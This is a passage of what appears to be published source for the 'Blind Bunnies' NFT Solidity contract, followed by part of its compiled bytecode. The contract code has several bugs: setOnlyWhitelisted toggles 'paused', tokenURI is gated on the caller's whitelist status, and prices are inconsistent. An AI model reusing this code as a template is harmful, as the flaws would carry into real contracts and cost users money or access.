@dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: contracts/BlindBunnies.sol pragma solidity ^0.8.4; contract BlindBunnies is ERC721Enumerable, Ownable, PaymentSplitter, ReentrancyGuard { using Strings for uint256; using Counters for Counters.Counter; uint256 public maxSupply = 3737; uint256 public giftSupply = 37; uint256 public totalNFT; uint256 public totalMint; uint256 public maxMintAmount = 20; uint256 public nftPerAddressLimit = 3; string public baseURI; string public notRevealedUri; string public baseExtension = ".json"; bool public isBurnEnabled = false; bool public paused = true; bool public revealed = false; bool public presaleM = false; bool public publicM = false; bool public onlyWhitelisted = true; address[] public whitelistedAddresses; uint256 presaleAmountLimit = 500; uint256 public cost = 0.125 ether; mapping(address => bool) public whitelisted; mapping(address => uint256) public _presaleClaimed; uint256 _price = 100000000000000000; //0.1 ETH Counters.Counter private _tokenIds; uint256[] private _teamShares = [91 , 9]; address[] private _team = [ 0xE13fFE5e4Cd3A5D3EA23a8df25DDfc0438ced5f9, 0x11bEff531De9b5F781553B691629bE98B36d2b8F ]; constructor() ERC721("Blind Bunnies NFT", "BB") PaymentSplitter(_team, _teamShares) ReentrancyGuard() {} function mint(uint256 _mintAmount) public payable { require(!paused); uint256 supply = totalSupply(); require(_mintAmount > 0); require(_mintAmount <= maxMintAmount); require(supply + _mintAmount <= maxSupply); if (msg.sender != owner()) { if (onlyWhitelisted == true) { require(isWhitelisted(msg.sender), "User is not whitelisted."); uint256 ownerTokenCount = balanceOf(msg.sender); require (ownerTokenCount < nftPerAddressLimit); } require(msg.value >= cost * _mintAmount); } for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(msg.sender, supply + i); } } function changePauseState() public onlyOwner { paused = !paused; } function changePresaleState() public onlyOwner { presaleM = !presaleM; } function changePublicState() public onlyOwner { publicM = !publicM; } function setBaseURI(string calldata _tokenBaseURI) external onlyOwner { baseURI = _tokenBaseURI; } function _baseURI() internal view override returns (string memory) { return baseURI; } function reveal() public onlyOwner { revealed = true; } function setIsBurnEnabled(bool _isBurnEnabled) external onlyOwner { isBurnEnabled = _isBurnEnabled; } function giftMint(address[] calldata _addresses) external onlyOwner { require( totalNFT + _addresses.length <= maxSupply, "Blind Bunnies NFTy: max total supply exceeded" ); uint256 _newItemId; for (uint256 ind = 0; ind < _addresses.length; ind++) { require( _addresses[ind] != address(0), "Blind Bunnies NFT: recepient is the null address" ); _tokenIds.increment(); _newItemId = _tokenIds.current(); _safeMint(_addresses[ind], _newItemId); totalNFT = totalNFT + 1; } } function presaleMint(uint256 _amount) external payable nonReentrant{ require(presaleM, "Blind Bunnies NFT: Presale is OFF"); require(!paused, "Blind Bunnies NFT: contract is paused"); require( _amount <= presaleAmountLimit, "Blind Bunnies NFT: You can't mint so much tokens" ); require( _presaleClaimed[msg.sender] + _amount <= presaleAmountLimit, "Blind Bunnies NFT: You can't mint so much tokens" ); require( totalMint + _amount <= maxSupply - giftSupply, "Blind Bunnies NFT: max supply exceeded" ); require( _price * _amount <= msg.value, "Blind Bunnies NFT: Ether value sent is not correct" ); uint256 _newItemId; for (uint256 ind = 0; ind < _amount; ind++) { _tokenIds.increment(); _newItemId = _tokenIds.current(); _safeMint(msg.sender, _newItemId); _presaleClaimed[msg.sender] = _presaleClaimed[msg.sender] + 1; totalNFT = totalNFT + 1; totalMint = totalMint + 1; } } function publicMint(uint256 _amount) external payable nonReentrant{ require(publicM, "Blind Bunnies NFT: Public is OFF"); require(_amount > 0, "Blind Bunnies NFT: zero amount"); require( totalMint + _amount <= maxSupply - giftSupply, "Blind Bunnies NFT: max supply exceeded" ); require( _price * _amount <= msg.value, "Blind Bunnies NFT: Ether value sent is not correct" ); require(!paused, "Blind Bunnies NFT: contract is paused"); uint256 _newItemId; for (uint256 ind = 0; ind < _amount; ind++) { _tokenIds.increment(); _newItemId = _tokenIds.current(); _safeMint(msg.sender, _newItemId); totalNFT = totalNFT + 1; totalMint = totalMint +1; } } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if (revealed == false) { return notRevealedUri; } if (onlyWhitelisted == true) { require(isWhitelisted(msg.sender), "user is not whitelisted"); uint256 ownerTokenCount = balanceOf(msg.sender); require(ownerTokenCount < nftPerAddressLimit); } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string( abi.encodePacked( currentBaseURI, tokenId.toString(), baseExtension ) ) : ""; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function whitelistUsers(address[] calldata _users) public onlyOwner { delete whitelistedAddresses; whitelistedAddresses = _users; } function changeTotalSupply(uint256 _newSupply) public onlyOwner { maxSupply = _newSupply; } function changeGiftSupply(uint256 _newGiftSupply) public onlyOwner { giftSupply = _newGiftSupply; } function burn(uint256 tokenId) external { require(isBurnEnabled, "Blind Bunnies NFT: burning disabled"); require( _isApprovedOrOwner(msg.sender, tokenId), "Blind Bunnies NFT: burn caller is not owner nor approved" ); _burn(tokenId); totalNFT = totalNFT - 1; } function isWhitelisted(address _user) public view returns (bool) { for(uint256 i = 0; i < whitelistedAddresses.length; i++) { if (whitelistedAddresses[i] == _user) { return true; } } return false; } function setNftPerAddressLimit(uint256 _limit) public onlyOwner() { nftPerAddressLimit = _limit; } function setOnlyWhitelisted(bool _state) public onlyOwner() { paused = _state; } //only owner function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } }
0x6080604052600436106103e75760003560e01c80636352211e11610208578063ba4e5c4911610118578063d5abeb01116100ab578063e33b7de31161007a578063e33b7de314610bcf578063e985e9c514610be4578063edec5f2714610c2d578063f2c4ce1e14610c4d578063f2fde38b14610c6d57600080fd5b8063d5abeb0114610b34578063d79779b214610b4a578063d936547e14610b80578063da3ef23f14610baf57600080fd5b8063c9b298f1116100e7578063c9b298f114610ab6578063ce7c2ac214610ac9578063d082a3f714610aff578063d0eb26b014610b1457600080fd5b8063ba4e5c4914610a4b578063ba7d2c7614610a6b578063c668286214610a81578063c87b56dd14610a9657600080fd5b806395d89b411161019b578063a22cb4651161016a578063a22cb465146109b4578063a45063c0146109d4578063a475b5dd146109f6578063a5fd7bec14610a0b578063b88d4fde14610a2b57600080fd5b806395d89b41146109335780639852595c146109485780639c70b5121461097e578063a0712d68146109a157600080fd5b8063715018a6116101d7578063715018a6146108b35780638b83209b146108c85780638cc4de19146108e85780638da5cb5b1461091557600080fd5b80636352211e1461083e5780636c0360eb1461085e5780636e0e5b191461087357806370a082311461089357600080fd5b80632f745c591161030357806346e79ffc1161029657806352e973261161026557806352e97326146107b457806355f804b3146107d457806359a7715a146107f45780635c975abb1461080a57806360e5bb851461082957600080fd5b806346e79ffc1461073f57806348b75044146107545780634f6ccce714610774578063518302271461079457600080fd5b8063406072a9116102d2578063406072a91461069957806342842e0e146106df57806342966c68146106ff57806344a0d68a1461071f57600080fd5b80632f745c59146106245780633a98ef39146106445780633af32abf146106595780633c9527641461067957600080fd5b806313faede61161037b5780632254b0151161034a5780632254b015146105c5578063239c70ae146105db57806323b872dd146105f15780632db115441461061157600080fd5b806313faede6146105595780631798d58b1461056f57806318160ddd1461059057806319165587146105a557600080fd5b8063081812fc116103b7578063081812fc146104ca578063081c8c4414610502578063095ea7b31461051757806310ed76211461053957600080fd5b80624563791461043557806301ffc9a71461045e57806306fdde031461048e57806307ebec27146104b057600080fd5b36610430577f6ef95f06320e7a25a04a175ca677b7052bdd97131872c2192525a629f51be77033604080516001600160a01b0390921682523460208301520160405180910390a1005b600080fd5b34801561044157600080fd5b5061044b60155481565b6040519081526020015b60405180910390f35b34801561046a57600080fd5b5061047e61047936600461376f565b610c8d565b6040519015158152602001610455565b34801561049a57600080fd5b506104a3610cb8565b60405161045591906139cd565b3480156104bc57600080fd5b50601c5461047e9060ff1681565b3480156104d657600080fd5b506104ea6104e5366004613852565b610d4a565b6040516001600160a01b039091168152602001610455565b34801561050e57600080fd5b506104a3610de4565b34801561052357600080fd5b50610537610532366004613694565b610e72565b005b34801561054557600080fd5b50610537610554366004613852565b610f88565b34801561056557600080fd5b5061044b601f5481565b34801561057b57600080fd5b50601c5461047e906301000000900460ff1681565b34801561059c57600080fd5b5060085461044b565b3480156105b157600080fd5b506105376105c036600461354f565b610fb7565b3480156105d157600080fd5b5061044b60145481565b3480156105e757600080fd5b5061044b60175481565b3480156105fd57600080fd5b5061053761060c3660046135a5565b6110e5565b61053761061f366004613852565b611116565b34801561063057600080fd5b5061044b61063f366004613694565b611310565b34801561065057600080fd5b50600b5461044b565b34801561066557600080fd5b5061047e61067436600461354f565b6113a6565b34801561068557600080fd5b50610537610694366004613735565b611410565b3480156106a557600080fd5b5061044b6106b436600461356c565b6001600160a01b03918216600090815260116020908152604080832093909416825291909152205490565b3480156106eb57600080fd5b506105376106fa3660046135a5565b611454565b34801561070b57600080fd5b5061053761071a366004613852565b61146f565b34801561072b57600080fd5b5061053761073a366004613852565b611567565b34801561074b57600080fd5b50610537611596565b34801561076057600080fd5b5061053761076f36600461356c565b6115dd565b34801561078057600080fd5b5061044b61078f366004613852565b6117c5565b3480156107a057600080fd5b50601c5461047e9062010000900460ff1681565b3480156107c057600080fd5b506105376107cf366004613852565b611858565b3480156107e057600080fd5b506105376107ef3660046137a9565b611887565b34801561080057600080fd5b5061044b60165481565b34801561081657600080fd5b50601c5461047e90610100900460ff1681565b34801561083557600080fd5b506105376118bd565b34801561084a57600080fd5b506104ea610859366004613852565b61190a565b34801561086a57600080fd5b506104a3611981565b34801561087f57600080fd5b5061053761088e366004613735565b61198e565b34801561089f57600080fd5b5061044b6108ae36600461354f565b6119cb565b3480156108bf57600080fd5b50610537611a52565b3480156108d457600080fd5b506104ea6108e3366004613852565b611a88565b3480156108f457600080fd5b5061044b61090336600461354f565b60216020526000908152604090205481565b34801561092157600080fd5b50600a546001600160a01b03166104ea565b34801561093f57600080fd5b506104a3611ab8565b34801561095457600080fd5b5061044b61096336600461354f565b6001600160a01b03166000908152600e602052604090205490565b34801561098a57600080fd5b50601c5461047e9065010000000000900460ff1681565b6105376109af366004613852565b611ac7565b3480156109c057600080fd5b506105376109cf366004613666565b611c03565b3480156109e057600080fd5b50601c5461047e90640100000000900460ff1681565b348015610a0257600080fd5b50610537611c12565b348015610a1757600080fd5b50610537610a263660046136c0565b611c4f565b348015610a3757600080fd5b50610537610a463660046135e6565b611dff565b348015610a5757600080fd5b506104ea610a66366004613852565b611e31565b348015610a7757600080fd5b5061044b60185481565b348015610a8d57600080fd5b506104a3611e5b565b348015610aa257600080fd5b506104a3610ab1366004613852565b611e68565b610537610ac4366004613852565b612073565b348015610ad557600080fd5b5061044b610ae436600461354f565b6001600160a01b03166000908152600d602052604090205490565b348015610b0b57600080fd5b506105376122a5565b348015610b2057600080fd5b50610537610b2f366004613852565b6122f0565b348015610b4057600080fd5b5061044b60135481565b348015610b5657600080fd5b5061044b610b6536600461354f565b6001600160a01b031660009081526010602052604090205490565b348015610b8c57600080fd5b5061047e610b9b36600461354f565b602080526000908152604090205460ff1681565b348015610bbb57600080fd5b50610537610bca366004613809565b61231f565b348015610bdb57600080fd5b50600c5461044b565b348015610bf057600080fd5b5061047e610bff36600461356c565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b348015610c3957600080fd5b50610537610c483660046136c0565b61235c565b348015610c5957600080fd5b50610537610c68366004613809565b61239e565b348015610c7957600080fd5b50610537610c8836600461354f565b6123db565b60006001600160e01b0319821663780e9d6360e01b1480610cb25750610cb282612476565b92915050565b606060008054610cc790613d04565b80601f0160208091040260200160405190810160405280929190818152602001828054610cf390613d04565b8015610d405780601f10610d1557610100808354040283529160200191610d40565b820191906000526020600020905b815481529060010190602001808311610d2357829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b0316610dc85760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b601a8054610df190613d04565b80601f0160208091040260200160405190810160405280929190818152602001828054610e1d90613d04565b8015610e6a5780601f10610e3f57610100808354040283529160200191610e6a565b820191906000526020600020905b815481529060010190602001808311610e4d57829003601f168201915b505050505081565b6000610e7d8261190a565b9050806001600160a01b0316836001600160a01b03161415610eeb5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610dbf565b336001600160a01b0382161480610f075750610f078133610bff565b610f795760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610dbf565b610f8383836124c6565b505050565b600a546001600160a01b03163314610fb25760405162461bcd60e51b8152600401610dbf90613ba0565b601455565b6001600160a01b0381166000908152600d6020526040902054610fec5760405162461bcd60e51b8152600401610dbf90613abd565b6000610ff7600c5490565b6110019047613c76565b9050600061102e8383611029866001600160a01b03166000908152600e602052604090205490565b612534565b90508061104d5760405162461bcd60e51b8152600401610dbf90613b55565b6001600160a01b0383166000908152600e602052604081208054839290611075908490613c76565b9250508190555080600c600082825461108e9190613c76565b9091555061109e9050838261257a565b604080516001600160a01b0385168152602081018390527fdf20fd1e76bc69d672e4814fafb2c449bba3a5369d8359adf9e05e6fde87b056910160405180910390a1505050565b6110ef3382612693565b61110b5760405162461bcd60e51b8152600401610dbf90613c25565b610f83838383612789565b600260125414156111695760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610dbf565b6002601255601c54640100000000900460ff166111c85760405162461bcd60e51b815260206004820181905260248201527f426c696e642042756e6e696573204e46543a205075626c6963206973204f46466044820152606401610dbf565b600081116112185760405162461bcd60e51b815260206004820152601e60248201527f426c696e642042756e6e696573204e46543a207a65726f20616d6f756e7400006044820152606401610dbf565b6014546013546112289190613cc1565b816016546112369190613c76565b11156112545760405162461bcd60e51b8152600401610dbf906139e0565b34816022546112639190613ca2565b11156112815760405162461bcd60e51b8152600401610dbf90613b03565b601c54610100900460ff16156112a95760405162461bcd60e51b8152600401610dbf90613a78565b6000805b82811015611306576112c3602380546001019055565b60235491506112d23383612934565b6015546112e0906001613c76565b6015556016546112f1906001613c76565b601655806112fe81613d3f565b9150506112ad565b5050600160125550565b600061131b836119cb565b821061137d5760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b6064820152608401610dbf565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b6000805b601d5481101561140757826001600160a01b0316601d82815481106113d1576113d1613db0565b6000918252602090912001546001600160a01b031614156113f55750600192915050565b806113ff81613d3f565b9150506113aa565b50600092915050565b600a546001600160a01b0316331461143a5760405162461bcd60e51b8152600401610dbf90613ba0565b601c80549115156101000261ff0019909216919091179055565b610f8383838360405180602001604052806000815250611dff565b601c5460ff166114cd5760405162461bcd60e51b815260206004820152602360248201527f426c696e642042756e6e696573204e46543a206275726e696e672064697361626044820152621b195960ea1b6064820152608401610dbf565b6114d73382612693565b6115495760405162461bcd60e51b815260206004820152603860248201527f426c696e642042756e6e696573204e46543a206275726e2063616c6c6572206960448201527f73206e6f74206f776e6572206e6f7220617070726f76656400000000000000006064820152608401610dbf565b6115528161294e565b60016015546115619190613cc1565b60155550565b600a546001600160a01b031633146115915760405162461bcd60e51b8152600401610dbf90613ba0565b601f55565b600a546001600160a01b031633146115c05760405162461bcd60e51b8152600401610dbf90613ba0565b601c805461ff001981166101009182900460ff1615909102179055565b6001600160a01b0381166000908152600d60205260409020546116125760405162461bcd60e51b8152600401610dbf90613abd565b6001600160a01b0382166000908152601060205260408120546040516370a0823160e01b81523060048201526001600160a01b038516906370a082319060240160206040518083038186803b15801561166a57600080fd5b505afa15801561167e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116a2919061386b565b6116ac9190613c76565b905060006116e5838361102987876001600160a01b03918216600090815260116020908152604080832093909416825291909152205490565b9050806117045760405162461bcd60e51b8152600401610dbf90613b55565b6001600160a01b0380851660009081526011602090815260408083209387168352929052908120805483929061173b908490613c76565b90915550506001600160a01b03841660009081526010602052604081208054839290611768908490613c76565b9091555061177990508484836129f5565b604080516001600160a01b038581168252602082018490528616917f3be5b7a71e84ed12875d241991c70855ac5817d847039e17a9d895c1ceb0f18a910160405180910390a250505050565b60006117d060085490565b82106118335760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b6064820152608401610dbf565b6008828154811061184657611846613db0565b90600052602060002001549050919050565b600a546001600160a01b031633146118825760405162461bcd60e51b8152600401610dbf90613ba0565b601355565b600a546001600160a01b031633146118b15760405162461bcd60e51b8152600401610dbf90613ba0565b610f836019838361335b565b600a546001600160a01b031633146118e75760405162461bcd60e51b8152600401610dbf90613ba0565b601c805464ff000000001981166401000000009182900460ff1615909102179055565b6000818152600260205260408120546001600160a01b031680610cb25760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610dbf565b60198054610df190613d04565b600a546001600160a01b031633146119b85760405162461bcd60e51b8152600401610dbf90613ba0565b601c805460ff1916911515919091179055565b60006001600160a01b038216611a365760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610dbf565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b03163314611a7c5760405162461bcd60e51b8152600401610dbf90613ba0565b611a866000612a47565b565b6000600f8281548110611a9d57611a9d613db0565b6000918252602090912001546001600160a01b031692915050565b606060018054610cc790613d04565b601c54610100900460ff1615611adc57600080fd5b6000611ae760085490565b905060008211611af657600080fd5b601754821115611b0557600080fd5b601354611b128383613c76565b1115611b1d57600080fd5b600a546001600160a01b03163314611bd457601c5465010000000000900460ff16151560011415611bba57611b51336113a6565b611b9d5760405162461bcd60e51b815260206004820152601860248201527f55736572206973206e6f742077686974656c69737465642e00000000000000006044820152606401610dbf565b6000611ba8336119cb565b90506018548110611bb857600080fd5b505b81601f54611bc89190613ca2565b341015611bd457600080fd5b60015b828111610f8357611bf133611bec8385613c76565b612934565b80611bfb81613d3f565b915050611bd7565b611c0e338383612a99565b5050565b600a546001600160a01b03163314611c3c5760405162461bcd60e51b8152600401610dbf90613ba0565b601c805462ff0000191662010000179055565b600a546001600160a01b03163314611c795760405162461bcd60e51b8152600401610dbf90613ba0565b601354601554611c8a908390613c76565b1115611cee5760405162461bcd60e51b815260206004820152602d60248201527f426c696e642042756e6e696573204e4654793a206d617820746f74616c20737560448201526c1c1c1b1e48195e18d959591959609a1b6064820152608401610dbf565b6000805b82811015611df9576000848483818110611d0e57611d0e613db0565b9050602002016020810190611d23919061354f565b6001600160a01b03161415611d935760405162461bcd60e51b815260206004820152603060248201527f426c696e642042756e6e696573204e46543a20726563657069656e742069732060448201526f746865206e756c6c206164647265737360801b6064820152608401610dbf565b611da1602380546001019055565b6023549150611dd6848483818110611dbb57611dbb613db0565b9050602002016020810190611dd0919061354f565b83612934565b601554611de4906001613c76565b60155580611df181613d3f565b915050611cf2565b50505050565b611e093383612693565b611e255760405162461bcd60e51b8152600401610dbf90613c25565b611df984848484612b68565b601d8181548110611e4157600080fd5b6000918252602090912001546001600160a01b0316905081565b601b8054610df190613d04565b6000818152600260205260409020546060906001600160a01b0316611ee75760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b6064820152608401610dbf565b601c5462010000900460ff16611f8957601a8054611f0490613d04565b80601f0160208091040260200160405190810160405280929190818152602001828054611f3090613d04565b8015611f7d5780601f10611f5257610100808354040283529160200191611f7d565b820191906000526020600020905b815481529060010190602001808311611f6057829003601f168201915b50505050509050919050565b601c5465010000000000900460ff1615156001141561201457611fab336113a6565b611ff75760405162461bcd60e51b815260206004820152601760248201527f75736572206973206e6f742077686974656c69737465640000000000000000006044820152606401610dbf565b6000612002336119cb565b9050601854811061201257600080fd5b505b600061201e612b9b565b9050600081511161203e576040518060200160405280600081525061206c565b8061204884612baa565b601b60405160200161205c939291906138cc565b6040516020818303038152906040525b9392505050565b600260125414156120c65760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610dbf565b6002601255601c546301000000900460ff1661212e5760405162461bcd60e51b815260206004820152602160248201527f426c696e642042756e6e696573204e46543a2050726573616c65206973204f466044820152602360f91b6064820152608401610dbf565b601c54610100900460ff16156121565760405162461bcd60e51b8152600401610dbf90613a78565b601e548111156121785760405162461bcd60e51b8152600401610dbf90613bd5565b601e5433600090815260216020526040902054612196908390613c76565b11156121b45760405162461bcd60e51b8152600401610dbf90613bd5565b6014546013546121c49190613cc1565b816016546121d29190613c76565b11156121f05760405162461bcd60e51b8152600401610dbf906139e0565b34816022546121ff9190613ca2565b111561221d5760405162461bcd60e51b8152600401610dbf90613b03565b6000805b8281101561130657612237602380546001019055565b60235491506122463383612934565b33600090815260216020526040902054612261906001613c76565b3360009081526021602052604090205560155461227f906001613c76565b601555601654612290906001613c76565b6016558061229d81613d3f565b915050612221565b600a546001600160a01b031633146122cf5760405162461bcd60e51b8152600401610dbf90613ba0565b601c805463ff00000019811663010000009182900460ff1615909102179055565b600a546001600160a01b0316331461231a5760405162461bcd60e51b8152600401610dbf90613ba0565b601855565b600a546001600160a01b031633146123495760405162461bcd60e51b8152600401610dbf90613ba0565b8051611c0e90601b9060208401906133df565b600a546001600160a01b031633146123865760405162461bcd60e51b8152600401610dbf90613ba0565b612392601d6000613453565b610f83601d8383613471565b600a546001600160a01b031633146123c85760405162461bcd60e51b8152600401610dbf90613ba0565b8051611c0e90601a9060208401906133df565b600a546001600160a01b031633146124055760405162461bcd60e51b8152600401610dbf90613ba0565b6001600160a01b03811661246a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610dbf565b61247381612a47565b50565b60006001600160e01b031982166380ac58cd60e01b14806124a757506001600160e01b03198216635b5e139f60e01b145b80610cb257506301ffc9a760e01b6001600160e01b0319831614610cb2565b600081815260046020526040902080546001600160a01b0319166001600160a01b03841690811790915581906124fb8261190a565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600b546001600160a01b0384166000908152600d60205260408120549091839161255e9086613ca2565b6125689190613c8e565b6125729190613cc1565b949350505050565b804710156125ca5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610dbf565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114612617576040519150601f19603f3d011682016040523d82523d6000602084013e61261c565b606091505b5050905080610f835760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610dbf565b6000818152600260205260408120546001600160a01b031661270c5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610dbf565b60006127178361190a565b9050806001600160a01b0316846001600160a01b031614806127525750836001600160a01b031661274784610d4a565b6001600160a01b0316145b8061257257506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff16949350505050565b826001600160a01b031661279c8261190a565b6001600160a01b0316146128045760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b6064820152608401610dbf565b6001600160a01b0382166128665760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610dbf565b612871838383612ca8565b61287c6000826124c6565b6001600160a01b03831660009081526003602052604081208054600192906128a5908490613cc1565b90915550506001600160a01b03821660009081526003602052604081208054600192906128d3908490613c76565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b611c0e828260405180602001604052806000815250612d60565b60006129598261190a565b905061296781600084612ca8565b6129726000836124c6565b6001600160a01b038116600090815260036020526040812080546001929061299b908490613cc1565b909155505060008281526002602052604080822080546001600160a01b0319169055518391906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610f83908490612d93565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b816001600160a01b0316836001600160a01b03161415612afb5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610dbf565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b612b73848484612789565b612b7f84848484612e65565b611df95760405162461bcd60e51b8152600401610dbf90613a26565b606060198054610cc790613d04565b606081612bce5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115612bf85780612be281613d3f565b9150612bf19050600a83613c8e565b9150612bd2565b60008167ffffffffffffffff811115612c1357612c13613dc6565b6040519080825280601f01601f191660200182016040528015612c3d576020820181803683370190505b5090505b841561257257612c52600183613cc1565b9150612c5f600a86613d5a565b612c6a906030613c76565b60f81b818381518110612c7f57612c7f613db0565b60200101906001600160f81b031916908160001a905350612ca1600a86613c8e565b9450612c41565b6001600160a01b038316612d0357612cfe81600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b612d26565b816001600160a01b0316836001600160a01b031614612d2657612d268382612f72565b6001600160a01b038216612d3d57610f838161300f565b826001600160a01b0316826001600160a01b031614610f8357610f8382826130be565b612d6a8383613102565b612d776000848484612e65565b610f835760405162461bcd60e51b8152600401610dbf90613a26565b6000612de8826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166132509092919063ffffffff16565b805190915015610f835780806020019051810190612e069190613752565b610f835760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610dbf565b60006001600160a01b0384163b15612f6757604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290612ea9903390899088908890600401613990565b602060405180830381600087803b158015612ec357600080fd5b505af1925050508015612ef3575060408051601f3d908101601f19168201909252612ef09181019061378c565b60015b612f4d573d808015612f21576040519150601f19603f3d011682016040523d82523d6000602084013e612f26565b606091505b508051612f455760405162461bcd60e51b8152600401610dbf90613a26565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050612572565b506001949350505050565b60006001612f7f846119cb565b612f899190613cc1565b600083815260076020526040902054909150808214612fdc576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b60085460009061